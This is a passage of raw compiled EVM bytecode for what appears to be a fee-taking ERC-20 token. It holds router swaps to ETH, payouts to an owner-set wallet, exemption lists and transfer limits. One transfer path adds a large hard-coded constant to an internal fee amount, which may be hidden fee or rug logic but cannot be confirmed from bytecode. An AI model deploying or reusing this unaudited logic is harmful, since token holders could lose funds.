6040518363ffffffff1660e01b8152600401620004f4929190620015e9565b6020604051808303815f875af115801562000511573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620005379190620015a8565b60145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f1960075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506001600b5f6200066a62000e8760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600b5f600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600b5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600d5f6200081062000e8760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600d5f600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600d5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600d5f60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600d5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600e5f62000a2c62000e8760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600e5f600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600e5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600e5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555062000bec60175462000bdd60165460155462000eae60201b90919060201c565b62000eae60201b90919060201c565b601e8190555062000c21601a5462000c1260195460185462000eae60201b90919060201c565b62000eae60201b90919060201c565b601f819055506001600c5f60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055503360055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f5460065f62000cf362000e8060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555062000d4062000e8060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600f5460405162000da0919062001625565b60405180910390a3506200188c565b5f80830362000dc1575f905062000e29565b5f828462000dd09190620014f9565b905082848262000de191906200166d565b1462000e24576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000e1b9062001728565b60405180910390fd5b809150505b92915050565b5f62000e7883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525062000f1060201b60201c565b905092915050565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f80828462000ebe919062001748565b90508381101562000f06576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000efd90620017d0565b60405180910390fd5b8091505092915050565b5f808311829062000f59576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000f5091906200186a565b60405180910390fd5b505f838562000f6991906200166d565b9050809150509392505050565b826002810192821562000fa8579160200282015b8281111562000fa757825182559160200191906001019062000f8a565b5b50905062000fb7919062000fbb565b5090565b5b8082111562000fd4575f815f90555060010162000fbc565b5090565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200105457607f821691505b6020821081036200106a57620010696200100f565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620010ce7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262001091565b620010da868362001091565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f620011246200111e6200111884620010f2565b620010fb565b620010f2565b9050919050565b5f819050919050565b6200113f8362001104565b620011576200114e826200112b565b8484546200109d565b825550505050565b5f90565b6200116d6200115f565b6200117a81848462001134565b505050565b5b81811015620011a157620011955f8262001163565b60018101905062001180565b5050565b601f821115620011f057620011ba8162001070565b620011c58462001082565b81016020851015620011d5578190505b620011ed620011e48562001082565b8301826200117f565b50505b505050565b5f82821c905092915050565b5f620012125f1984600802620011f5565b1980831691505092915050565b5f6200122c838362001201565b9150826002028217905092915050565b620012478262000fd8565b67ffffffffffffffff81111562001263576200126262000fe2565b5b6200126f82546200103c565b6200127c828285620011a5565b5f60209050601f831160018114620012b2575f84156200129d578287015190505b620012a985826200121f565b86555062001318565b601f198416620012c28662001070565b5f5b82811015620012eb57848901518255600182019150602085019450602081019050620012c4565b868310156200130b578489015162001307601f89168262001201565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620013aa5780860481111562001382576200138162001320565b5b6001851615620013925780820291505b8081029050620013a2856200134d565b945062001362565b94509492505050565b5f82620013c4576001905062001496565b81620013d3575f905062001496565b8160018114620013ec5760028114620013f7576200142d565b600191505062001496565b60ff8411156200140c576200140b62001320565b5b8360020a91508482111562001426576200142562001320565b5b5062001496565b5060208310610133831016604e8410600b8410161715620014675782820a90508381111562001461576200146062001320565b5b62001496565b62001476848484600162001359565b9250905081840481111562001490576200148f62001320565b5b81810290505b9392505050565b5f60ff82169050919050565b5f620014b582620010f2565b9150620014c2836200149d565b9250620014f17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620013b3565b905092915050565b5f6200150582620010f2565b91506200151283620010f2565b92508282026200152281620010f2565b915082820484148315176200153c576200153b62001320565b5b5092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f620015728262001547565b9050919050565b620015848162001566565b81146200158f575f80fd5b50565b5f81519050620015a28162001579565b92915050565b5f60208284031215620015c057620015bf62001543565b5b5f620015cf8482850162001592565b91505092915050565b620015e38162001566565b82525050565b5f604082019050620015fe5f830185620015d8565b6200160d6020830184620015d8565b9392505050565b6200161f81620010f2565b82525050565b5f6020820190506200163a5f83018462001614565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6200167982620010f2565b91506200168683620010f2565b92508262001699576200169862001640565b5b828204905092915050565b5f82825260208201905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f62001710602183620016a4565b91506200171d82620016b4565b604082019050919050565b5f6020820190508181035f830152620017418162001702565b9050919050565b5f6200175482620010f2565b91506200176183620010f2565b92508282019050808211156200177c576200177b62001320565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f620017b8601b83620016a4565b9150620017c58262001782565b602082019050919050565b5f6020820190508181035f830152620017e981620017aa565b9050919050565b5f5b838110156200180f578082015181840152602081019050620017f2565b5f8484015250505050565b5f601f19601f8301169050919050565b5f620018368262000fd8565b620018428185620016a4565b935062001854818560208601620017f0565b6200185f816200181a565b840191505092915050565b5f6020820190508181035f8301526200188481846200182a565b905092915050565b60805160a051613359620018bc5f395f8181610b010152610c9c01525f8181610c710152610cc801526133595ff3fe60806040526004361061026a575f3560e01c80638b42507f11610143578063c8607952116100b5578063dd62ed3e11610079578063dd62ed3e14610951578063f0cd1dac1461098d578063f2fde38b146109b7578063f680f799146109df578063f738097314610a09578063f872858a14610a4557610271565b8063c86079521461086d578063c867d60b14610897578063d2d7ad83146108d3578063da00097d146108fd578063dc44b6a01461092757610271565b8063a457c2d711610107578063a457c2d71461074d578063a9059cbb14610789578063b115e4df146107c5578063b4f40c61146107ef578063c5d2418914610819578063c816841b1461084357610271565b80638b42507f146106695780638b56459b146106a55780638da5cb5b146106cf57806395d89b41146106f957806398e944c81461072357610271565b806339509351116101dc57806370a08231116101a057806370a082311461056f578063715018a6146105ab5780637d1db4a5146105c1578063807c2d9c146105eb57806382eefb431461061557806388790a681461063f57610271565b806339509351146104675780633ecad271146104a3578063513da4f5146104df5780635194f9bf146105095780635342acb41461053357610271565b806318160ddd1161022e57806318160ddd1461035957806323555d571461038357806323b872dd146103ad57806327c8f835146103e95780632b112e4914610413578063313ce5671461043d57610271565b806306fdde03146102755780630930907b1461029f578063095ea7b3146102c95780630f16f01d146103055780631694505e1461032f57610271565b3661027157005b5f80fd5b348015610280575f80fd5b50610289610a6f565b60405161029691906126f0565b60405180910390f35b3480156102aa575f80fd5b506102b3610aff565b6040516102c0919061274f565b60405180910390f35b3480156102d4575f80fd5b506102ef60048036038101906102ea91906127c9565b610b23565b6040516102fc9190612821565b60405180910390f35b348015610310575f80fd5b50610319610b40565b604051610326919061285a565b60405180910390f35b34801561033a575f80fd5b50610343610b66565b60405161035091906128ce565b60405180910390f35b348015610364575f80fd5b5061036d610b8b565b60405161037a91906128f6565b60405180910390f35b34801561038e575f80fd5b50610397610b94565b6040516103a491906128f6565b60405180910390f35b3480156103b8575f80fd5b506103d360048036038101906103ce919061290f565b610b9a565b6040516103e09190612821565b60405180910390f35b3480156103f4575f80fd5b506103fd610c6f565b60405161040a919061274f565b60405180910390f35b34801561041e575f80fd5b50610427610c93565b60405161043491906128f6565b60405180910390f35b348015610448575f80fd5b50610451610d10565b60405161045e919061297a565b60405180910390f35b348015610472575f80fd5b5061048d600480360381019061048891906127c9565b610d25565b60405161049a9190612821565b60405180910390f35b3480156104ae575f80fd5b506104c960048036038101906104c49190612993565b610dd3565b6040516104d69190612821565b60405180910390f35b3480156104ea575f80fd5b506104f3610df0565b60405161050091906128f6565b60405180910390f35b348015610514575f80fd5b5061051d610df6565b60405161052a91906128f6565b60405180910390f35b34801561053e575f80fd5b5061055960048036038101906105549190612993565b610dfc565b6040516105669190612821565b60405180910390f35b34801561057a575f80fd5b5061059560048036038101906105909190612993565b610e19565b6040516105a291906128f6565b60405180910390f35b3480156105b6575f80fd5b506105bf610e5f565b005b3480156105cc575f80fd5b506105d5610fb1565b6040516105e291906128f6565b60405180910390f35b3480156105f6575f80fd5b506105ff610fb7565b60405161060c91906128f6565b60405180910390f35b348015610620575f80fd5b50610629610fbd565b60405161063691906128f6565b60405180910390f35b34801561064a575f80fd5b50610653610fc3565b60405161066091906128f6565b60405180910390f35b348015610674575f80fd5b5061068f600480360381019061068a9190612993565b610fc9565b60405161069c9190612821565b60405180910390f35b3480156106b0575f80fd5b506106b9610fe6565b6040516106c691906128f6565b60405180910390f35b3480156106da575f80fd5b506106e3610fec565b6040516106f0919061274f565b60405180910390f35b348015610704575f80fd5b5061070d611013565b60405161071a91906126f0565b60405180910390f35b34801561072e575f80fd5b506107376110a3565b604051610744919061274f565b60405180910390f35b348015610758575f80fd5b50610773600480360381019061076e91906127c9565b6110c8565b6040516107809190612821565b60405180910390f35b348015610794575f80fd5b506107af60048036038101906107aa91906127c9565b611190565b6040516107bc9190612821565b60405180910390f35b3480156107d0575f80fd5b506107d96111ae565b6040516107e6919061285a565b60405180910390f35b3480156107fa575f80fd5b506108036111d3565b60405161081091906128f6565b60405180910390f35b348015610824575f80fd5b5061082d6111d9565b60405161083a91906128f6565b60405180910390f35b34801561084e575f80fd5b506108576111df565b604051610864919061274f565b60405180910390f35b348015610878575f80fd5b50610881611204565b60405161088e91906128f6565b60405180910390f35b3480156108a2575f80fd5b506108bd60048036038101906108b89190612993565b61120a565b6040516108ca9190612821565b60405180910390f35b3480156108de575f80fd5b506108e7611227565b6040516108f491906128f6565b60405180910390f35b348015610908575f80fd5b5061091161122d565b60405161091e9190612821565b60405180910390f35b348015610932575f80fd5b5061093b611240565b60405161094891906128f6565b60405180910390f35b34801561095c575f80fd5b50610977600480360381019061097291906129be565b611246565b60405161098491906128f6565b60405180910390f35b348015610998575f80fd5b506109a16112c8565b6040516109ae91906128f6565b60405180910390f35b3480156109c2575f80fd5b506109dd60048036038101906109d89190612993565b6112ce565b005b3480156109ea575f80fd5b506109f361148b565b604051610a0091906128f6565b60405180910390f35b348015610a14575f80fd5b50610a2f6004803603810190610a2a91906129fc565b611491565b604051610a3c91906128f6565b60405180910390f35b348015610a50575f80fd5b50610a596114aa565b604051610a669190612821565b60405180910390f35b606060018054610a7e90612a54565b80601f0160208091040260200160405190810160405280929190818152602001828054610aaa90612a54565b8015610af55780601f10610acc57610100808354040283529160200191610af5565b820191905f5260205f20905b815481529060010190602001808311610ad857829003601f168201915b5050505050905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f610b36610b2f6114bd565b84846114c4565b6001905092915050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600f54905090565b60175481565b5f610ba6848484611687565b50610c6484610bb36114bd565b610c5f856040518060600160405280602881526020016132d76028913960075f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610c166114bd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e979092919063ffffffff16565b6114c4565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f610d0b610cc07f0000000000000000000000000000000000000000000000000000000000000000610e19565b610cfd610cec7f0000000000000000000000000000000000000000000000000000000000000000610e19565b600f54611ef990919063ffffffff16565b611ef990919063ffffffff16565b905090565b5f60035f9054906101000a900460ff16905090565b5f610dc9610d316114bd565b84610dc48560075f610d416114bd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611f4290919063ffffffff16565b6114c4565b6001905092915050565b600c602052805f5260405f205f915054906101000a900460ff1681565b601c5481565b601a5481565b600b602052805f5260405f205f915054906101000a900460ff1681565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610e676114bd565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ef3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eea90612ace565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead5f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60115481565b60125481565b601f5481565b60185481565b600e602052805f5260405f205f915054906101000a900460ff1681565b601b5481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606002805461102290612a54565b80601f016020809104026020016040519081016040528092919081815260200182805461104e90612a54565b80156110995780601f1061107057610100808354040283529160200191611099565b820191905f5260205f20905b81548152906001019060200180831161107c57829003601f168201915b5050505050905090565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f6111866110d46114bd565b84611181856040518060600160405280602581526020016132ff6025913960075f6110fd6114bd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e979092919063ffffffff16565b6114c4565b6001905092915050565b5f6111a361119c6114bd565b8484611687565b506001905092915050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601d5481565b60165481565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60195481565b600d602052805f5260405f205f915054906101000a900460ff1681565b60105481565b601460159054906101000a900460ff1681565b60155481565b5f60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b601e5481565b6112d66114bd565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611362576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135990612ace565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036113d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c790612b5c565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60085481565b600981600281106114a0575f80fd5b015f915090505481565b601460169054906101000a900460ff1681565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611532576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152990612bea565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159790612c78565b60405180910390fd5b8060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161167a91906128f6565b60405180910390a3505050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036116f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ed90612d06565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611764576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175b90612d94565b60405180910390fd5b60148054906101000a900460ff161561178957611782848484611f9f565b9050611e90565b600e5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156118275750600e5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561187257601154821115611871576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186890612e22565b60405180910390fd5b5b5f61187c30610e19565b90505f601054821015905080801561189f575060148054906101000a900460ff16155b80156118f25750600c5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561191c57601460159054906101000a900460ff16156119125760105491505b61191b82612169565b5b601460169054906101000a900460ff16801561197f5750600d5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611a0c576012546119ca6119b36103e86119a5601f548961224a90919063ffffffff16565b6122c190919063ffffffff16565b6119bc88610e19565b611f4290919063ffffffff16565b1115611a0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0290612eb0565b60405180910390fd5b5b611a356103e8611a27601f548761224a90919063ffffffff16565b6122c190919063ffffffff16565b60095f60028110611a4957611a48612ece565b5b0181905550611a776103e8611a69601f548761224a90919063ffffffff16565b6122c190919063ffffffff16565b84611a829190612f28565b6009600160028110611a9757611a96612ece565b5b01819055505f600e5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580611b3a5750600e5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80611bdc5750600c5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611bdb5750600c5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b5b15611bff576065601b5f828254611bf39190612f5b565b92505081905550611c21565b6072601b5f828254611c119190612f5b565b92505081905550611c2061230a565b5b600181611c2e9190612f5b565b601c5f828254611c3e9190612f5b565b92505081905550611c958560065f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611ef990919063ffffffff16565b60065f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611d3b60095f60028110611ced57611cec612ece565b5b015460065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611f4290919063ffffffff16565b60065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611de26009600160028110611d9457611d93612ece565b5b015460065f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611f4290919063ffffffff16565b60065f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051611e8091906128f6565b60405180910390a3600193505050505b9392505050565b5f838311158290611ede576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ed591906126f0565b60405180910390fd5b505f8385611eec9190612f28565b9050809150509392505050565b5f611f3a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e97565b905092915050565b5f808284611f509190612f5b565b905083811015611f95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f8c90612fd8565b60405180910390fd5b8091505092915050565b5f612027826040518060400160405280601481526020017f496e73756666696369656e742042616c616e636500000000000000000000000081525060065f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e979092919063ffffffff16565b60065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506120b88260065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611f4290919063ffffffff16565b60065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161215691906128f6565b60405180910390a3600190509392505050565b60016014806101000a81548160ff021916908315150217905550607d601b8190555061219481612358565b5f4790506001601b546121a79190612f5b565b601c5f8282546121b79190612f5b565b925050819055505f81111561222d57600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f1935050505015801561222b573d5f803e3d5ffd5b505b505f6014806101000a81548160ff02191690831515021790555050565b5f80830361225a575f90506122bb565b5f82846122679190612ff6565b90508284826122769190613064565b146122b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122ad90613104565b60405180910390fd5b809150505b92915050565b5f61230283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612605565b905092915050565b601c5460116123199190612f5b565b601c819055506b060ad6b9c04b5631d40673fc60095f600281106123405761233f612ece565b5b015f82825461234f9190612f5b565b92505081905550565b601b54601c819055506011601b819055505f600267ffffffffffffffff81111561238557612384613122565b5b6040519080825280602002602001820160405280156123b35781602001602082028036833780820191505090505b509050606460095f600281106123cc576123cb612ece565b5b015f8282546123db9190612f5b565b92505081905550601b5460206123f19190612f5b565b600960016002811061240657612405612ece565b5b015f8282546124159190612f5b565b9250508190555060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612486573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906124aa9190613163565b816001815181106124be576124bd612ece565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505030815f8151811061250c5761250b612ece565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506125723060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846114c4565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016125d495949392919061327e565b5f604051808303815f87803b1580156125eb575f80fd5b505af11580156125fd573d5f803e3d5ffd5b505050505050565b5f808311829061264b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161264291906126f0565b60405180910390fd5b505f83856126599190613064565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561269d578082015181840152602081019050612682565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6126c282612666565b6126cc8185612670565b93506126dc818560208601612680565b6126e5816126a8565b840191505092915050565b5f6020820190508181035f83015261270881846126b8565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61273982612710565b9050919050565b6127498161272f565b82525050565b5f6020820190506127625f830184612740565b92915050565b5f80fd5b6127758161272f565b811461277f575f80fd5b50565b5f813590506127908161276c565b92915050565b5f819050919050565b6127a881612796565b81146127b2575f80fd5b50565b5f813590506127c38161279f565b92915050565b5f80604083850312156127df576127de612768565b5b5f6127ec85828601612782565b92505060206127fd858286016127b5565b9150509250929050565b5f8115159050919050565b61281b81612807565b82525050565b5f6020820190506128345f830184612812565b92915050565b5f61284482612710565b9050919050565b6128548161283a565b82525050565b5f60208201905061286d5f83018461284b565b92915050565b5f819050919050565b5f61289661289161288c84612710565b612873565b612710565b9050919050565b5f6128a78261287c565b9050919050565b5f6128b88261289d565b9050919050565b6128c8816128ae565b82525050565b5f6020820190506128e15f8301846128bf565b92915050565b6128f081612796565b82525050565b5f6020820190506129095f8301846128e7565b92915050565b5f805f6060848603121561292657612925612768565b5b5f61293386828701612782565b935050602061294486828701612782565b9250506040612955868287016127b5565b9150509250925092565b5f60ff82169050919050565b6129748161295f565b82525050565b5f60208201905061298d5f83018461296b565b92915050565b5f602082840312156129a8576129a7612768565b5b5f6129b584828501612782565b91505092915050565b5f80604083850312156129d4576129d3612768565b5b5f6129e185828601612782565b92505060206129f285828601612782565b9150509250929050565b5f60208284031215612a1157612a10612768565b5b5f612a1e848285016127b5565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680612a6b57607f821691505b602082108103612a7e57612a7d612a27565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612ab8602083612670565b9150612ac382612a84565b602082019050919050565b5f6020820190508181035f830152612ae581612aac565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f612b46602683612670565b9150612b5182612aec565b604082019050919050565b5f6020820190508181035f830152612b7381612b3a565b9050919050565b7f45524332303a2061